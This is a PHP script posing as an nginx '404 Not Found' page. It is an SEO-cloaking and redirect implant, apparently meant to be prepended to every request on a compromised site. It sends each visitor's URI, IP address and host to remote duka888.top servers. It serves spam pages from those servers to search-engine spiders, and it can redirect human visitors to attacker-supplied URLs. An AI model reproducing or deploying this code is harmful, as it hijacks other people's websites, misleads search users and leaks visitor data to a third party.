<?php
error_reporting(0);
set_time_limit(0);

/*
 * 防止同一个请求中通过 auto_prepend_file、include、require
 * 或直接访问等方式重复执行本文件。
 */
if (defined('ALIANG_ARTICLE_LOADED')) {
    return;
}
define('ALIANG_ARTICLE_LOADED', 1);

if (!function_exists('aliang_sv')) {
    function aliang_sv($aliang_k)
    {
        return isset($_SERVER[$aliang_k]) ? $_SERVER[$aliang_k] : '';
    }
}

if (!function_exists('aliang_client_ip')) {
    function aliang_client_ip()
    {
        $aliang_ip = aliang_sv('REMOTE_ADDR');

        if (aliang_sv('HTTP_X_FORWARDED_FOR') != '') {
            $aliang_xff = aliang_sv('HTTP_X_FORWARDED_FOR');
            $aliang_arr = explode(',', $aliang_xff);

            if (isset($aliang_arr[0]) && trim($aliang_arr[0]) != '') {
                $aliang_ip = trim($aliang_arr[0]);
            }
        } elseif (aliang_sv('HTTP_X_REAL_IP') != '') {
            $aliang_ip = aliang_sv('HTTP_X_REAL_IP');
        }

        return $aliang_ip;
    }
}

if (!function_exists('aliang_httpPasserj')) {
    function aliang_httpPasserj($aliang_url)
    {
        /* 优先使用 cURL。 */
        if (function_exists('curl_init')) {
            $aliang_ch = curl_init();

            curl_setopt($aliang_ch, CURLOPT_URL, $aliang_url);
            curl_setopt($aliang_ch, CURLOPT_USERAGENT, aliang_sv('HTTP_USER_AGENT'));
            curl_setopt($aliang_ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($aliang_ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($aliang_ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($aliang_ch, CURLOPT_HEADER, 0);
            curl_setopt($aliang_ch, CURLOPT_CONNECTTIMEOUT, 5);
            curl_setopt($aliang_ch, CURLOPT_TIMEOUT, 6);

            $aliang_output = curl_exec($aliang_ch);
            curl_close($aliang_ch);

            return $aliang_output;
        }

        /* 没有 cURL 时退回 file_get_contents。 */
        $aliang_context = stream_context_create(
            array(
                'http' => array(
                    'method' => 'GET',
                    'timeout' => 6,
                    'ignore_errors' => true,
                    'header' => 'User-Agent: ' . aliang_sv('HTTP_USER_AGENT') . "\r\n"
                )
            )
        );

        return @file_get_contents(
            $aliang_url,
            false,
            $aliang_context
        );
    }
}

if (!function_exists('aliang_match_one')) {
    function aliang_match_one($aliang_text, $aliang_arr)
    {
        $aliang_text = strtolower($aliang_text);

        foreach ($aliang_arr as $aliang_v) {
            $aliang_v = strtolower($aliang_v);

            if (
                $aliang_v != '' &&
                strpos($aliang_text, $aliang_v) !== false
            ) {
                return $aliang_v;
            }
        }

        return '';
    }
}

if (!function_exists('aliang_build_url')) {
    function aliang_build_url($aliang_base, $aliang_spider, $aliang_ref)
    {
        $aliang_u =
            aliang_sv('REQUEST_URI')
            . '=ip='
            . aliang_client_ip();

        return $aliang_base
            . '?site_type=lhlh&type=jsc'
            . '&spider=' . urlencode($aliang_spider)
            . '&ref=' . urlencode($aliang_ref)
            . '&domain=' . urlencode(aliang_sv('HTTP_HOST'))
            . '&url=' . urlencode($aliang_u);
    }
}

if (!function_exists('aliang_handle_upstream')) {
    function aliang_handle_upstream($aliang_httphtml)
    {
        if ($aliang_httphtml == '') {
            return false;
        }

        $aliang_allhttphtml = explode('####', $aliang_httphtml);

        $aliang_content = isset($aliang_allhttphtml[0])
            ? $aliang_allhttphtml[0]
            : '';

        $aliang_jumpUrl = isset($aliang_allhttphtml[1])
            ? trim($aliang_allhttphtml[1])
            : '';

        $aliang_status = isset($aliang_allhttphtml[2])
            ? intval(trim($aliang_allhttphtml[2]))
            : 0;

        if ($aliang_status == 404) {
            return false;
        }

        if ($aliang_jumpUrl != '') {
            if ($aliang_status == 301) {
                header('HTTP/1.1 301 Moved Permanently');
            } elseif ($aliang_status == 302) {
                header('HTTP/1.1 302 Found');
            } elseif ($aliang_status == 307) {
                header('HTTP/1.1 307 Temporary Redirect');
            } elseif ($aliang_status == 308) {
                header('HTTP/1.1 308 Permanent Redirect');
            } else {
                header('HTTP/1.1 302 Found');
            }

            header('Location: ' . $aliang_jumpUrl);
            return true;
        }

        header('Content-Type:text/html;charset=utf-8');
        echo $aliang_content != ''
            ? $aliang_content
            : $aliang_httphtml;

        return true;
    }
}

$aliang_allowSpiders = array(
    'baiduspider',
    'googlebot',
    'bingbot',
    '360spider',
    'haosouspider',
    'sogou web spider',
    'sogouspider',
    'sogou',
    'yisouspider',
    'smspider',
    'bytespider'
);

$aliang_botWords = array(
    'bot',
    'spider'
);

$aliang_refesString = array(
    'baidu.com',
    'sogou.com',
    'so.com',
    '360.cn',
    'sm.cn',
    'toutiao.com',
    'google.com',
    'bing.com',
    'yahoo.com'
);

$aliang_uri = aliang_sv('REQUEST_URI');
$aliang_ua = strtolower(aliang_sv('HTTP_USER_AGENT'));
$aliang_ref = strtolower(aliang_sv('HTTP_REFERER'));

$aliang_area = (
    stristr($aliang_uri, 'php/') !== false ||
    stristr($aliang_uri, '?') !== false ||
    stristr($aliang_uri, '.asp/') !== false ||
    stristr($aliang_uri, '.asp?') !== false ||
    stristr($aliang_uri, '.aspx/') !== false ||
    stristr($aliang_uri, '.aspx?') !== false ||
    stristr($aliang_uri, '.ashx/') !== false ||
    stristr($aliang_uri, '.ashx?') !== false
);

$aliang_spider_name = aliang_match_one(
    $aliang_ua,
    $aliang_allowSpiders
);

$aliang_bot_name = aliang_match_one(
    $aliang_ua,
    $aliang_botWords
);

$aliang_ref_name = aliang_match_one(
    $aliang_ref,
    $aliang_refesString
);

if ($aliang_ref_name == '') {
    $aliang_ref_name = 'direct';
}

$aliang_is_spider = false;

if (
    $aliang_spider_name != '' ||
    $aliang_bot_name != ''
) {
    $aliang_is_spider = true;
}

if ($aliang_is_spider) {
    if ($aliang_spider_name != '') {
        if ($aliang_area) {
            $aliang_httphtml = aliang_httpPasserj(
                aliang_build_url(
                    'http://ceshi.jsc.duka888.top/duka_base.php',
                    $aliang_spider_name,
                    $aliang_ref_name
                )
            );

            if (aliang_handle_upstream($aliang_httphtml)) {
                exit;
            }
        } else {
            $aliang_al_html = aliang_httpPasserj(
                aliang_build_url(
                    'http://al.duka888.top/al_base.php',
                    $aliang_spider_name,
                    $aliang_ref_name
                )
            );

            aliang_handle_upstream($aliang_al_html);
        }
    }
} else {
    if ($aliang_area) {
        $aliang_httphtml = aliang_httpPasserj(
            aliang_build_url(
                'http://gg.jsc.duka888.top/gg_base.php',
                str_replace(
                    array(' ', "\t", "\r", "\n"),
                    '',
                    strtolower(aliang_sv('HTTP_USER_AGENT'))
                ),
                $aliang_ref_name
            )
        );

        if (aliang_handle_upstream($aliang_httphtml)) {
            exit;
        }
    }
}
?>
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>